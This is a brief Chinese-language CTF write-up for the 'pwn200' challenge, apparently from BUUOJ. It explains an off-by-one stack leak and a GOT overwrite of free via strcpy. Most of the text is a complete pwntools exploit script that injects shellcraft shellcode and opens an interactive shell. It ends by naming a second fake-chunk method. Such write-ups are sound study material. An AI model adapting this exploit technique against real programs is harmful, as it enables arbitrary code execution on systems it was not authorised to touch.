

这里这个dest指针我们是可以改变的
这里有off by one 输入48个字节之后,printf能把后面的字节给打印出来
这个是上一个的栈帧
看了博客有两种方法
通过这个rbp我们可以知道shellcode的地址
如果说我们把dest这个指针改为freegot,然后通过strcpy函数将shellcode复制给freegot的地址就相当于把one_gadget写进了free_got函数
唯一要注意的就是这个函数,strcpy函数”\x00”一定要加我们要截断一些内容
from pwn import *context.log_level = 'debug'context.arch = 'amd64'io = process('./pwn200')elf =ELF("./pwn200")#io = remote('node4.buuoj.cn',25935)free_got = elf.got["free"]shellcode = (asm(shellcraft.sh()))io.recvuntil("who are u?")gdb.attach(io,"b *0x400b06")pause()io.send(shellcode)rbp_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))print("rbp_addr------>"+hex(rbp_addr))shellcode_addr = rbp_addr -80print("shellcode_addr-------------->"+hex(shellcode_addr))io.recvuntil("give me your id ~~?")io.sendline("1")io.recvuntil("give me money~")payload = p64(shellcode_addr)+b"\x00"*(0x38-8)+p64(free_got)# gdb.attach(io,"b *0x0000000000400A5A")# pause()io.send(payload)io.recvuntil("your choice : ")io.sendline("2")io.interactive()
还有种方法就是我们要在栈上构造一个假的的堆块,然后劫持ret_address为shellcode的地址
